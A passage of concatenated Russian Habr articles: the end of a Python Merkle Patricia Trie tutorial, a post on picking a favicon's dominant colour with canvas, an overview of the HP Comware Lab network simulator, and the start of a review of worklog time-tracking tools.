2. Пути отличаются.
В таком случае нужно создать Branch узел, который разделит эти два пути.
Если один из путей пуст — то его значение перекочует непосредственно в Branch-узел.
В противном случае, нам придется создать два Leaf-узла, укороченных на длину общей части путей + 1 ниббл (этот ниббл будет обозначен индексом соответствующей ветки Branch-ноды).
Также нужно будет проверить, есть ли общая часть пути, чтобы понять, нужно ли нам создавать ещё и Extension-узел.
В коде это будет выглядеть так:
```
if type(node) == Node.Leaf:
if node.path == path:
# Пути совпадают. Просто обновляем значение и сохраняем новый узел.
node.data = value
return self._store_node(node)
# Нам нужно разделить узлы.
# Ищем общую часть путей.
common_prefix = path.common_prefix(node.path)
# Обрезаем общую часть от обоих путей.
path.consume(len(common_prefix))
node.path.consume(len(common_prefix))
# Создаем Branch узел.
branch_reference = self._create_branch_node(path, value, node.path, node.data)
# Проверяем, нужен ли нам Extension-узел.
if len(common_prefix) != 0:
return self._store_node(Node.Extension(common_prefix, branch_reference))
else:
return branch_reference
```
Процедура `_create_branch_node` выглядит следующим образом:
```
def _create_branch_node(self, path_a, value_a, path_b, value_b):
# Создаем ветки для Branch-узла.
branches = [b''] * 16
# Определяем, будут ли в нашем Branch-узле данные.
branch_value = b''
if len(path_a) == 0:
branch_value = value_a
elif len(path_b) == 0:
branch_value = value_b
# Создаем внутри веток Leaf-узлы, если необходимо.
self._create_branch_leaf(path_a, value_a, branches)
self._create_branch_leaf(path_b, value_b, branches)
# Сохраняем Branch-узел и возвращаем на него ссылку.
return self._store_node(Node.Branch(branches, branch_value))
def _create_branch_leaf(self, path, value, branches):
# Смотрим, нужен ли нам вообще Leaf-узел.
if len(path) > 0:
# Берем первый ниббл (индекс ветки).
idx = path.at(0)
# Создаем Leaf-узел с остатком пути, кладем его в соответствующую ветку.
leaf_ref = self._store_node(Node.Leaf(path.consume(1), value))
branches[idx] = leaf_ref
```
##### `if type(node) == Node.Extension`
В случае с Extension-узлом всё похоже на Leaf-узел.
1. Если путь из Extension-узла является префиксом для нашего пути — просто рекурсивно движемся дальше.
2. В противном случае нам нужно сделать разделение с использованием Branch-узла, как и в вышеописанном случае.
Соответственно, код:
```
elif type(node) == Node.Extension:
if path.starts_with(node.path):
# Просто движемся дальше и обновляем ссылку в текущем узле.
new_reference = \
self._update(node.next_ref, path.consume(len(node.path)), value)
return self._store_node(Node.Extension(node.path, new_reference))
# Разделяем Extension-узел.
# Находим общую часть для путей.
common_prefix = path.common_prefix(node.path)
# Делаем обрезание.
path.consume(len(common_prefix))
node.path.consume(len(common_prefix))
# Создаем Branch-узел и, если нужно, добавляем в него значение.
branches = [b''] * 16
branch_value = value if len(path) == 0 else b''
# По необходимости создаем дочерние Leaf- и Extension- узлы.
self._create_branch_leaf(path, value, branches)
self._create_branch_extension(node.path, node.next_ref, branches)
branch_reference = self._store_node(Node.Branch(branches, branch_value))
# Проверяем, нужен ли нам Extension-узел.
if len(common_prefix) != 0:
return self._store_node(Node.Extension(common_prefix, branch_reference))
else:
return branch_reference
```
Процедура `_create_branch_extension` логически эквивалентна процедуре `_create_branch_leaf`, но работает с Extension-узлом.
##### `if type(node) == Node.Branch`
А вот с Branch-узлом всё просто. Если путь пустой — мы просто сохраняем в текущем Branch-узле новое значение. Если же путь не пустой — "откусываем" от него один ниббл и рекурсивно идём ниже.
Код, думаю, в комментариях не нуждается.
```
elif type(node) == Node.Branch:
if len(path) == 0:
return self._store_node(Node.Branch(node.branches, value))
idx = path.at(0)
new_reference = self._update(node.branches[idx], path.consume(1), value)
node.branches[idx] = new_reference
return self._store_node(node)
```
### delete
Фух! Остался последний метод. Он же — самый веселый. Сложность удаления заключается в том, что нам необходимо вернуть структуру в то состояние, в которое она попала бы, если бы мы проделали всю цепочку `update`-ов, исключив только удаляемый ключ.
Это крайне важно, так как в противном случае возможна ситуация, в которой для двух деревьев, содержащих одни и те же данные, будет отличаться корневой хеш. А такая "особенность", как вы понимаете, перечеркнет весь смысл данной структуры данных.
Данное требование порождает довольно большое количество возможных сценариев действий. Более того, функция на N-ном уровне вложенности после непосредственно удаления должна будет знать, что произошло на N+1 уровне. Для этого мы введем дополнительный enum — `DeleteAction`, который будем возвращать наверх.
Выглядить остов метода `delete` будет следующим образом:
```
class MerklePatriciaTrie:
# ...
# Enum, показывающий, что за действие было произведено на предыдущем шаге удаления.
class _DeleteAction(Enum):
# Узел был полностью удален.
# Когда мы возвращаем данный вариант,
# возвращаемым типом будет кортеж из двух элементов (_DeleteAction, None).
DELETED = 1,
# Узел был изменен (например, в нем поменялась ссылка).
# Когда мы возвращаем данный вариант, возвращаемым типом будет
# кортеж из двух элементов: (_DeleteAction, ссылка_на_новый_узел).
UPDATED = 2,
# На предыдущем шаге Branch-узел стал бесполезным. Возвращаемый тип --
# кортеж из двух элементов:
# (_DeleteAction, (путь_до_следующего_узла, ссылка_на_новый_узел))
USELESS_BRANCH = 3
def delete(self, encoded_key):
if self._root is None:
return
path = NibblePath(encoded_key)
action, info = self._delete(self._root, path)
if action == MerklePatriciaTrie._DeleteAction.DELETED:
# Дерево стало пустым.
self._root = None
elif action == MerklePatriciaTrie._DeleteAction.UPDATED:
# Поменялся корневой узел.
new_root = info
self._root = new_root
elif action == MerklePatriciaTrie._DeleteAction.USELESS_BRANCH:
# Поменялся корневой узел.
_, new_root = info
self._root = new_root
def _delete(self, node_ref, path):
node = self._get_node(node_ref)
if type(node) == Node.Leaf:
pass
elif type(node) == Node.Extension:
pass
elif type(node) == Node.Branch:
pass
```
В целом выглядит похоже на то, что мы видели в методах `get` и `update`. Разбираться также будем по частям. Ссылка на полный метод [вот](https://github.com/popzxc/merkle-patricia-trie/blob/master/mpt/mpt.py#L324).
#### `if type(node) == Node.Leaf`
Самая простая часть. Мы добрались до конечного узла. И либо это искомый узел — и мы его просто удалим, либо это не тот узел, который мы ищем.
Код элементарен:
```
if type(node) == Node.Leaf:
if path == node.path:
return MerklePatriciaTrie._DeleteAction.DELETED, None
else:
raise KeyError
```
На всякий случай напомню, что "удаление" — не совсем настоящее удаление. Старые узлы остаются в хранилище и доступны, если создать дерево от старого корня. А вот в дереве от нового корня мы этот узел уже найти не сможем.
#### `if type(node) == Node.Extension`
C Extension-узлом программа действий следующая:
1. Сперва проверяем, является ли сохраненный в Extension-узле путь префиксом для пути удаляемого узла. Если нет — ключ отсутствует в дереве.
2. Рекурсивно вызываем `_delete`, "откусив" нужную часть пути.
3. Смотрим на произошедшее действие. Возможные варианты:
* Следующий узел был удален. Тогда со спокойной совестью удаляем также и текущий узел.
* Следующий узел был обновлен. Тогда мы просто меняем сохраненную ссылку.
* Следующий узел был ставшим ненужным Branch-узлом. В таком случае мы должны создать вспомогательный узел вместо текущего. Тип нового узла зависит от того, почему Branch-узел стал не нужен. Если в нём не осталось веток, но было значение, то мы создаем Leaf-узел. В противном случае — мы создаем Extension-узел.
В коде это выглядит так:
```
elif type(node) == Node.Extension:
if not path.starts_with(node.path):
raise KeyError
# Рекурсивно продолжаем удаление.
# Получаем тип действия и соответствующую ему информацию.
action, info = self._delete(node.next_ref, path.consume(len(node.path)))
if action == MerklePatriciaTrie._DeleteAction.DELETED:
return action, None
elif action == MerklePatriciaTrie._DeleteAction.UPDATED:
# Берем из информации ссылку, которую мы теперь должны хранить.
child_ref = info
new_ref = self._store_node(Node.Extension(node.path, child_ref))
return action, new_ref
elif action == MerklePatriciaTrie._DeleteAction.USELESS_BRANCH:
# Берем информацию об удаленном Branch-узле.
stored_path, stored_ref = info
# Смотрим, что же хранил этот Branch-узел.
child = self._get_node(stored_ref)
new_node = None
if type(child) == Node.Leaf:
# В branch-узле были данные.
# Объединяем пути и создаем Leaf-узел вместо Extension.
path = NibblePath.combine(node.path, child.path)
new_node = Node.Leaf(path, child.data)
elif type(child) == Node.Extension:
# В Branch-узле хранился Extension-узел.
# Просто объединяем эти два пути в один.
path = NibblePath.combine(node.path, child.path)
new_node = Node.Extension(path, child.next_ref)
elif type(child) == Node.Branch:
# В Branch-узле была ссылка на ещё один Branch-узел.
# Добавляем к нашему Extension-узлу ниббл и обновляем ссылку.
path = NibblePath.combine(node.path, stored_path)
new_node = Node.Extension(path, stored_ref)
new_reference = self._store_node(new_node)
return MerklePatriciaTrie._DeleteAction.UPDATED, new_reference
```
#### `if type(node) == Node.Branch`
Вот и конец.
Ну, почти. Если мы удаляем Branch-узел, то вещи становятся несколько запутанными…
Почему? Потому что Branch-узел одновременно может выступать в роли Leaf-узла (хранить значение) и в роли набора Extension-узлов (хранить ссылки на другие узлы).
Соответственно, в результате удаления данный узел может стать ненужным. Если в нём не останется ссылок, но останется значение — ему на замену придет Leaf-узел. Если в нём нет значения и останется одна ссылка — его нужно будет заменить на Extension-узел. Если же останется хотя бы одна ссылка и значение, либо не будет значения, но ссылок сохранится 2 и более — то Branch-узел будет просто обновлен.
И как нам это распутывать? Давайте разбираться:
Сперва разбираемся с удалением:
1. Если путь уже пуст, удаляем хранимое значение.
2. Если путь не пуст, вызываем `_delete` для соответствующей ветки.
В коде это выглядит вот так:
```
elif type(node) == Node.Branch:
action = None
idx = None
info = None
if len(path) == 0 and len(node.data) == 0:
raise KeyError
elif len(path) == 0 and len(node.data) != 0:
node.data = b''
action = MerklePatriciaTrie._DeleteAction.DELETED
else:
# Сохраняем индекс ветки, с которой мы работаем.
# Он нам понадобится позже.
idx = path.at(0)
if len(node.branches[idx]) == 0:
raise KeyError
action, info = self._delete(node.branches[idx], path.consume(1))
# Обозначаем ветку, с которой работали, как пустую.
# Если действием окажется не удаление - на это место
# будет добавлена обновленная ссылка.
node.branches[idx] = b''
```
В результате мы имеем `_DeleteAction` и можем начать разбираться с текущим узлом.
1. Если произошло обновление узла или нижележащий Branch-узел стал ненужным, наш узел гарантированно остается нужным (не было ни удаления значения, ни удаления веток). В таком случае нам нужно просто обновлить ссылку в ветке по индексу.
```
if action == MerklePatriciaTrie._DeleteAction.UPDATED:
# Просто обновляем ссылку.
next_ref = info
node.branches[idx] = next_ref
reference = self._store_node(node)
return MerklePatriciaTrie._DeleteAction.UPDATED, reference
elif action == MerklePatriciaTrie._DeleteAction.USELESS_BRANCH:
# Также просто обновляем ссылку.
_, next_ref = info
node.branches[idx] = next_ref
reference = self._store_node(node)
return MerklePatriciaTrie._DeleteAction.UPDATED, reference
```
1. Если же произошло удаление (либо данных, либо ветки), нам необходимо проверить, не стал ли наш узел ненужным.
Для этого подсчитаем количество непустых веток. Возможные варианты:
* Нет ни одной ветки и нет данных. Если честно, я не думаю, что такой вариант возможен, но будем обрабатывать его на всякий случай. Защитное программирование, все дела.
* Все ветки пустые, но есть данные. Нужно создать Leaf-узел с этими данными. Обработают его выше по стеку вызовов.
* Данных нет, осталась одна ветка. Нужно создать новый узел, исходя из того, что именно хранится в этой ветке.
* Если вышеописанное неверно, значит, наш Branch-узел по прежнему нужен. Сохраняем его и говорим, что `_DeleteAction` — `UPDATED`.
```
if action == MerklePatriciaTrie._DeleteAction.DELETED:
non_empty_count = sum(map(lambda x: 1 if len(x) > 0 else 0, node.branches))
if non_empty_count == 0 and len(node.data) == 0:
# Branch-узел пуст, удаляем его.
return MerklePatriciaTrie._DeleteAction.DELETED, None
elif non_empty_count == 0 and len(node.data) != 0:
# Нет веток, есть только значение.
path = NibblePath([])
reference = self._store_node(Node.Leaf(path, node.data))
return MerklePatriciaTrie._DeleteAction.USELESS_BRANCH, (path, reference)
elif non_empty_count == 1 and len(node.data) == 0:
# Нет значения, только одна ветка.
return self._build_new_node_from_last_branch(node.branches)
else:
# Есть 1+ ветка и значение, либо 2+ ветки.
# Branch-узел не бесполезен, поэтому действие - UPDATED.
reference = self._store_node(node)
return MerklePatriciaTrie._DeleteAction.UPDATED, reference
```
Метод `_build_new_node_from_last_branch` находит ту самую единственную ветку и создает из неё новый узел.
Если нижележащий узел — Leaf или Extension, то нам нужно добавить в начало хранимого в них пути ниббл, соотвтетствующий индексу ветки.
Если же нижележащий узел — Branch, то нам нужно создать дополнительный Extension узел, путь в котором будет состоять из одного ниббла, а ссылка будет вести на Branch.
```
def _build_new_node_from_last_branch(self, branches):
# Ищем индекс последней ветки.
idx = 0
for i in range(len(branches)):
if len(branches[i]) > 0:
idx = i
break
# Создаем из этого ниббла путь.
prefix_nibble = NibblePath([idx], offset=1)
# Смотрим на нижележащий узел
child = self._get_node(branches[idx])
path = None
node = None
# Создаем новый узел.
if type(child) == Node.Leaf:
path = NibblePath.combine(prefix_nibble, child.path)
node = Node.Leaf(path, child.data)
elif type(child) == Node.Extension:
path = NibblePath.combine(prefix_nibble, child.path)
node = Node.Extension(path, child.next_ref)
elif type(child) == Node.Branch:
path = prefix_nibble
node = Node.Extension(path, branches[idx])
# Завершаем работу.
reference = self._store_node(node)
return MerklePatriciaTrie._DeleteAction.USELESS_BRANCH, (path, reference)
```
### Остальное
Наше выстраданное дерево готово к бою. Хотя стоп, нет… Осталось реализовать метод `root`.
Вот:
```
class MerklePatriciaTrie:
# ...
def root(self):
return self._root
```
Это было сложно, но мы справились.
Ах да… Ещё тесты. Но тут, к нашему счастью, за нас всё продумали авторы Ethereum и разместили стандартные тестовые векторы для проверки реализаций [тут](https://github.com/ethereum/tests). Описывать, как их подключить, я, пожалуй не буду. Но созданная нами реализация их проходит, поверьте на слово :)
Теперь, если захотите поиграться с этим чудовищем, вам достаточно сделать `pip install -U eth_mpt` — и всё.
Результаты
----------
К чему же это всё было?
Ну, во-первых, я не теряю надежды на то, что кто-то тоже будет биться с реализацией этой структуры, и моя статья ему поможет понять, что к чему. Если это произойдет — то ура, всё было не зря и я доволен.
Во-вторых, мне хотелось показать, что ситуации, когда сражаться на доселе неизведанном поле алгоритмов и структур данных приходится — возможны. Не скажу, что это повод мучать кандидатов задачками на skip list и interval tree, но способность их написать — навык, определенно, полезный.
В-третьих, изложение материала полностью соответствует тому, как я сам разбирался с вопросом и писал код в первый раз. Не исключаю вероятности, что это может быть интересно как описание процесса знакомства с чем-то с нуля.
В-четвертых, это же просто увлекательно — изучать нечто новое.
В любом случае, статья окончена, и если вы дочитали до этого момента — спасибо вам за терпение!
Арты
----
Арты были взяты со следующих сайтов: [1](https://user.xmission.com/~emailbox/ascii_cats.htm), [2](http://ascii.co.uk/art/tree), [3](http://ascii.co.uk/art/cat). Спасибо их авторам! А вам рекомендую посмотреть, там еще много красивого. | https://habr.com/ru/post/446558/ | null | ru | null |
# Делаем превью сайтов в стиле Yandex Браузера
Прошло уже почти два месяца как Yandex порадовал некоторых пользователей новым продуктом — Yandex Браузером. Несмотря на невероятную динамику развития продуктов в этой области (Chrome и Firefox), Яндексу удалось привнести в свой браузер ряд новых идей.
Из всех особенностей этого браузера больше всего меня зацепило их дизайнерское решение относительно изображений сайтов в «быстрых закладках» (Speed dial). Люди любят глазами и поэтому приятно видеть у себя в новом табе не пустую белую страницу, а красочные картинки. Беда только в том, что лично я, чаще всего, смотрю на подпись под этой картинкой или же на favicon, так как по скриншоту сайта бывает очень сложно его узнать. Эту проблему дизайнеры яндекса, на мой взгляд, решили очень элегантно. В данном посте мы посмотрим, как реализовать эту идею на клиентской стороне.
Суть идеи заключается в следующем:
1. Получаем favicon сайта
2. Определяем доминирующий в favicon цвет
3. Рисуем прямоугольник с доминирующим цветом и вставляем в него favicon
4. Для пущей привлекательности сверху накладывается градиент.
Звучит действительно очень просто. Наиболее сложным моментом здесь является определение доминирующего цвета в favicon-е. Чтобы это сделать, нам нужно решить три задачи:
1. Получить favicon.
2. Получить доступ к значению каждого пикселя изображения.
3. Определиться с алгоритмом определения доминирующего цвета.
#### Получение favicon
Для того чтобы получить favicon, можно либо написать на сервере некий обработчик, который по домену будет искать и возвращать favicon, либо можно подглядеть как это делает Яндекс браузер… А делает он это при помощи запроса на одноименный сервис яндекса. Например такой запрос:
`GET favicon.yandex.net/favicon/habrahabr.ru`
Вернет вот такую вот картинку:
#### Доступ к пикселям изображения
Относительно второй задачи — единственным способом получить доступ к значениям пикселей изображения на клиентской стороне является использование элемента . Загрузив изображение в canvas мы сможем получить значение произвольного пикселя.
Однако здесь есть некоторая проблема. Получить доступ к пикселям изображения с помощью тега canvas возможно лишь для тех изображений, которые загружены с того же домена, что и обрабатывающая их страница (работает кросс-доменная политика браузеров).
Таким образом, чтобы воспользоваться элементом canvas для поиска доминирующего цвета в favicon-е, необходимо организовать у себя на сервере некий прокси, который скачивал бы favicon (например с сервиса favicon.yandex.ru) и возвращал бы его назад к вам на страницу.
В связи с этим реализация такого превью сайтов чисто на клиентской стороне, увы, не получится. На самом деле раз уж нам все равно нужен сервер в качестве прокси для изображений, то мы могли бы перенести на сервер и вычисление доминирующего цвета, получая назад на страницу уже не иконку, а цвет. Однако то, как это реализовать на серверной стороне, не так интересно и сильно разнородно, так как в зависимости от используемого на сервере языка (Python, PHP, Java) реализация будет разная. Поэтому мы рассмотрим как это сделать на клиенте с помощью элемента canvas.
#### Алгоритм определения доминирующего цвета
Существует множество алгоритмов определения доминирующего цвета изображения. Общая идея этих алгоритмов следующая. Каждый пиксель изображения представляет собой четверку чисел R, G, B, A. Мы идем по всем пикселям и особым образом анализируем их составляющие:
```
// создаем элемент canvas
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
// отрисовываем в canvas наш favicon
ctx.drawImage( faviconImage, 0, 0, 18, 18);
// получаем данные о пикселях
var data = ctx.getImageData(0, 0, 18, 18);
// Обходим каждый пиксель
for ( i = 0; i
```
В нашем случае при реализации следует учитывать две особенности:
I. У многих favicon-ов существуют прозрачные пиксели, которые при отрисовке в элемент canvas представляются в виде rgba( 0, 0, 0, 0 ). Так как мы игнорируем альфа-канал, то для нас эти пиксели будут выглядеть как черные (#000000), что не соответствует действительности. Чтобы исправить это, просто закрасим canvas в белый перед тем как отрисовывать на ней favicon.
```
// Заливаем canvas белым прямоугольником
ctx.fillStyle = 'rgb(255, 255, 255)';
ctx.fillRect(0, 0, 18, 18);
// Отрисовываем favicon
ctx.drawImage( faviconImage, 0, 0, 18, 18);
```
II. Так как по задумке favicon будет вписываться в белую окружность, то в случае, если преобладающим цветом в изображении окажется белый, мы не увидим ни окружности, ни границ нашего элемента. Чтобы избежать этого, мы будем просто в каждом алгоритме игнорировать белые пиксели.
Я рассмотрю три различных алгоритма определения доминирующего цвета по возрастанию их сложности.
##### Алгоритм 1. Среднее значение цвета
Первый и наиболее простой алгоритм заключается в следующем. Мы просто проходим по всем пикселям и считаем среднее арифметическое соответствующих составляющих их цветов. Чтобы не загромождать статью кодом — все исходники доступны на [gihub-е](https://github.com/krustnic/site-preview-yandex-style/blob/master/mainColor.html), я буду демонстрировать только результаты их работы:
##### Алгоритм 2. Евклидово расстояние
Данный алгоритм чуть более сложен и заключается в следующем. Каждый цвет представляет собой вектор в трехмерном пространстве (r, g, b). Мы проходим по каждому пикселю и считаем его расстояние до всех остальных пикселей (Евклидово расстояние между двумя векторами). Затем ищем тот пиксель, который находится ближе всех ко всем остальным. Цвет этого пикселя и есть наш искомый цвет. Здесь следует отметить, что данный алгоритм, в отличие от предыдущего, не создает новый цвет, а лишь выбирает из уже существующих в данном изображении.
##### Алгоритм 3. Метод кластеризации k-средних
Суть данного алгоритма заключается в следующем. Произвольно выбирается k пикселей (центров) изображения различного цвета. Проходим по всем остальным пикселям и относим каждый из них к одному из центров на основании их близости друг к другу (считаем Евклидово расстояние как и в алгоритме 2). Затем пересчитываем центры — устанавливаем для них значение равное среднему среди всех пикселей, отнесенных к нему (как в алгоритме 1). Вновь проходим по всем пикселям и распределяем их по новым центрам. Проделываем все это до тех пор, пока значение центров не перестанет изменятся. Искомым цветом будет значение центра с наибольшим количеством пикселей. Следует отметить, что данный метод используется для [тех же целей](http://www.quora.com/Google-Chrome/How-does-Chrome-pick-the-color-for-the-stripes-on-the-Most-visited-page-thumbnails) в браузере Chrome. Результат его работы для k = 3 следующий:
Для k = 5:
(для остальных значений параметра k результаты не столь показательны)
#### Заключение
Вопрос о том какой из данных алгоритмов лучше — спорный.
* Алгоритм средних значений невероятно прост и в общем работает, но может давать довольно грязный результат.
* Расчет через Евклидово расстояние, на мой вкус, даёт довольно симпатичный результат и при этом прост в реализации.
* Алгоритм кластеризации наиболее сложен. Дает наиболее яркое изображение и требует больше всего вычислений.
P. S. Github-юзер static-lab предложил и реализовал еще один алгоритм «Усреднённое по YUV с контрастом», который тоже дает весьма неплохой результат:
Пример можно запустить у себя в браузере (favicons закодированы в Base64): [DEMO](http://jsfiddle.net/krustnic/Vg3Dg/)
Исходники тут: [github](https://github.com/krustnic/site-preview-yandex-style/blob/master/mainColor.html) | https://habr.com/ru/post/159961/ | null | ru | null |
# Новый симулятор сетевых решений HP Comware Lab (HCL)
Уважаемые Хабровчане, несу вам очередные добрые вести с полей **HP Networking**’а!
[](http://habrahabr.ru/company/hp/blog/261505/)
Представляем вниманию общественности новый симулятор сетевого оборудования **HP Comware Lab (HCL)** доступный для использования всем заинтересованным и имеющим желание приобщиться к HPN.
Не так давно (в прошлом году) мы показали **HP Network Simulator** с помощью которого можно было изучить консоль и функционал устройств под управлением операционной системы **HP Comware v7**, а также использовать ее с целью моделирования сетей. Ознакомиться со статьей можно по [ссылке](http://habrahabr.ru/company/hp/blog/229203/).
Продукт снискал некоторую популярность среди людей, работающих с сетевой инфраструктурой HP, а также инженеров, готовящихся к сертификации HP Networking. Прогресс неумолим, компании не останавливаються на достигнутом и **HP Network Simulator** эволюционировал в новый, более удобный для использования продукт **HP Comware Lab (HCL)**.
Установка HP Comware Lab
------------------------
На всякий случай сразу приведу системные требования:
*CPU ≥ 3.0 GHz (с поддержкой VT-x или AMD-V)
RAM ≥ 4 GB
Disk: ≥ 80 GB
OS: Windows 7 или выше*
Для работы данного симулятора также потребуется установленный Oracle VM VirtualBox версии 4.2.18 или выше (я использую непосредственно версию 4.2.18). Добыть желаемый софт можно [здесь](https://www.virtualbox.org/wiki/Download_Old_Builds_4_2).
После вышеописанной процедуры переходим к [скачиванию и установке самого **HP Comware Lab (HCL)**.](http://h20565.www2.hpe.com/hpsc/swd/public/readIndex?sp4ts.oid=7107838) Указываем вашу операционную систему и находим ссылку для скачивания в разделе **Software**. После загрузки запускаем установочный файл “от имени Администратора” и проходим стандартную процедуру установки, после чего запускаем непосредственно **HCL**.
Использование
-------------
Сам интерфейс **HP Comware Lab** вполне себе юзерфрендли и будет сразу понятен людям видевшим **GNS** и ему подобные продукты.
В отличие от предыдущего симулятора в **HCL** нет необходимости описывать топологию сети и конфигурации используемых виртуальных машин в проекте в текстовом формате. Теперь мы можем просто выносить на поле как уже заранее предустановленные устройства (как маршрутизаторы, так и коммутаторы), так и создавать свои версии устройств, задавая до 32 любых интерфейсов, включая TenGigabitEthernet, ATM, POS, E1, GigabitEthernet, и Serial интерфейсы:
В случае, когда нет необходимости выдумывать свои экзотические устройства можно воспользоваться предустановленными маршрутизатором и коммутатором.
Предустановлен маршрутизатор линейки MSR:
и коммутатор серии 5800:
В целом **HCL** позволяет настроить любой требуемый и поддерживаем операционной системой **Comware v7** L2 и L3 функционал (TRILL, SPB, OSPF, BGP, IS-IS, MPLS, FC/FCoE, LACP, VxLAN и т.д.), включая такие технологии HP как IRF стекирование (в том числе и на маршрутизаторе), MDC, EVI, ADVPN и многие другие.
Симулятор поддерживает возможность подключения к проекту конечных устройств с помощью внесения Host устройств в топологию и указания к какому именно сетевому адаптеру будет производится подключение.
Как и каким образом это может быть использовано уже описывалось в [предыдущей статье по симуляторам](http://habrahabr.ru/company/hp/blog/229203/), оставлю лишь как пример использование системы управления с симулированными устройствами, интеграция с **GNS** и т.д.
Отдельно я бы хотел остановиться на функции Remote. Она позволяет «растянуть» проект между несколькими машинами обеспечив связь для симулируемых устройств размещенных на различных физических устройствах (в моем случае ноутбуках) с помощью туннелей.
Необходимо лишь на всех объединяемых физических устройствах с запущенным **HCL** создать Remote девайс и настроить IP адрес соседнего устройства и название проекта с которым необходимо установить связь.
Отмечу от себя, что для того чтобы физический интерфейс на котором терминируется туннель поднялся в состояние **UP** необходимо, чтобы имя тунеля (в моем случае tunnel1) совпадало на обоих Remote устройствах.
Для примера я использовал следующие настройки на виртуальных маршрутизаторах разнесенных на разные ноутбуки:
```
interface GigabitEthernet0/0
port link-mode route
combo enable copper
ip address 1.1.1.1 255.255.255.0
```
И, соответственно:
```
interface GigabitEthernet0/0
port link-mode route
combo enable copper
ip address 1.1.1.2 255.255.255.0
```
Проверка связности устройств через туннель **HCL**:
```
Ping 1.1.1.1 (1.1.1.1): 56 data bytes, press CTRL_C to break
56 bytes from 1.1.1.1: icmp_seq=0 ttl=255 time=4.000 ms
56 bytes from 1.1.1.1: icmp_seq=1 ttl=255 time=1.000 ms
56 bytes from 1.1.1.1: icmp_seq=2 ttl=255 time=2.000 ms
56 bytes from 1.1.1.1: icmp_seq=3 ttl=255 time=2.000 ms
56 bytes from 1.1.1.1: icmp_seq=4 ttl=255 time=1.000 ms
```
Непосредственно на симулируемом устройстве нет необходимости настраивать туннелирование, для него этот канал является «прямым» линком через которые идут даже LLDP пакеты.
```
[Router HP] display lldp neighbor-information verbose
LLDP neighbor-information of port 1[GigabitEthernet0/0]:
LLDP agent nearest-bridge:
LLDP neighbor index : 1
Update time : 0 days, 0 hours, 13 minutes, 1 seconds
Chassis type : MAC address
Chassis ID : aa9a-01b3-0100
Port ID type : Interface name
Port ID : GigabitEthernet0/0
Time to live : 121
Port description : GigabitEthernet0/0 Interface
System name : HP
System description : H3C Comware Platform Software, Software Version 7.1.059
```
Кстати о просмотре ходящих пакетов!
При установленном анализаторе трафика Wireshark и прописанного в настройках HP Comware Lab пути до него, HCL может собирать трафик на любых выбранных вами каналах (даже непосредственно между виртуальными устройствами) и отображать его в интерфейсе Wireshark. Процедуру скачивания и установки Wireshark я пропущу, однако на всякий случай упомяну, что данный анализатор трафика доступен для скачки по [ссылке](https://www.wireshark.org/download.html).
Результат выглядит примерно следующим образом:
Заключение
----------
Новый симулятор решений **HPN** представляет собой удобное средство моделирования сетевых решений и позволяет решать задачи обучения и демонстрации сетевых решений **HP**, проверки работы сетевых протоколов, тестирования новых технологий, адаптации к синтаксису консоли **HPN** и прочие задачи.
Что касается требований к ресурсам, хотя минимальные требования не изменились, субъективно я считаю, что **HP Comware Lab** производительнее виденных мною ранее сетевых симуляторов. Во всяком случае в ходе создания топологий, содержащих порядка 15 устройств, каких-либо значимых проблем не наблюдалось при развертывании на обычном рабочем ноутбуке с запущенными параллельно стандартными офисными приложениями, браузером и т.д. | https://habr.com/ru/post/261505/ | null | ru | null |
# Я — Android-разработчик, и мне не нравилось вести ворклоги вручную
Когда я устраивалась в Skyeng, солнце светило чуть ярче, трава зеленее не была (шла такая же ранняя весна), а тимлид попросил записывать в Jira, сколько времени ушло на кодинг, а сколько на разговоры и ревью. Хотя бы раз в две недели.
*«По этим данным мы пробуем понять, надо ли корректировать эстимейты и нет ли проблем в коммуникации в команде», — говорили они. А вот кто такой «бабайка», так и не рассказали.*.
Поскольку мы все удалёнщики, идея звучала разумно. Да и мне стало интересно, куда девались эти восемь часов: вот прошли, но за чем именно? Однако логировать было непривычно. И вообще лень. Тогда я решила поискать что-нибудь, что будет вести ворклоги за меня. А в процессе исследования немного увлеклась и написала свой плагин для IntelliJ IDEA.
Ниже вы найдете **субъективный обзор готовых инструментов и мой велосипед** (с исходниками).
Изучаю решения, которые использует команда
------------------------------------------
Первое, что я сделала — пошла узнавать у коллег, кто чем пользуется. Варианты подобрались примерно следующие:
#### 1. [Clockify](https://clockify.me/) — одна кнопка, чтоб править всем
Затрекать время на кодревью или написание доки? [Плагин](https://chrome.google.com/webstore/detail/clockify-time-tracker/pmjeegjhjdlccodhacdgbgfagbpmccpe) добавит кнопку (довольно ненавязчивого серого пакмена) почти куда угодно.
*Так смотрится в Google Docs*
*И на GitHub*
Натреканным можно полюбоваться на дашборде, а можно импортировать в таблицу и закинуть в Jira.
*Интеграция в Jira поставляется отдельно, тоже [браузерным расширением](https://clockify.me/jira-time-tracking)*
Впрочем, есть возможность загрузить в свой рабочий календарь таблицу с ворклогами, полученную из Clockify. А для учёта времени в оффлайне есть десктопные приложения под windows, linux и mac. Мобильные приложения — тоже. Основной функционал бесплатен, но есть и несколько тарифных планов с плюшками вроде приватности, напоминалок и темплейтов для проектов.
#### 2. [Toggl](https://toggl.com/), просто Toggl
Всё примерно то же самое, но плюшек чуть побольше — например, в десктопном приложении можно поставить себе напоминалки о логировании времени, включить режим pomodoro, есть даже возможность увязать определённое приложение с определённым проектом и настроить автотрекинг.
*Но есть нюанс: меня уже на первый день использования подбешивало и это окошко, и уведомления с напоминаниям. Хотя в теории звучало клёво)*
#### 3. Toggl + [скрипт на Python](https://github.com/vigilancer/toggl2jira): когда просто кнопки уже недостаточно
Изобретение моего коллеги. Как-то он решил сократить телодвижения по экспорту таблиц в Jira и переложил выгрузку налогированного в Toggl на скрипт. Можно положить в cron и радоваться жизни.
#### 4. [Wakatime](https://wakatime.com/) — там, куда мы отправляемся, кнопки не нужны
Логирует всё сам. Поэтому первое, о чём следует вспомнить, подключая его браузерное расширение — блэклист.
Помимо расширений, предоставляет несколько интеграций и приличное количество плагинов для наиболее распространённых IDE и редакторов.
*Плагины для IDE трекают время, проведённое как в определённой git-ветке, так и в определённом файле. На скрине список доступных — весьма впечатляет. Серенькие — “в планах”, за их скорейшую реализацию можно проголосовать. Некоторые плагины в платной подписке за 9$ в месяц.*
Кроме того, на дашборде можно увидеть, сколько времени в процентном соотношении потрачено на написание кода на разных языках: если вспомнить, что обычный android-проект предполагает использование Kotlin, Java, Groovy и xml — это вполне себе обретает смысл). А если поработать с установленным плагином некоторое время, можно заметить, что он довольно безжалостен: в дашборд попадает время активного чтения и написания кода. И не попадает залипание в монитор со стеклянным взглядом. Что и говорить, на любителя.
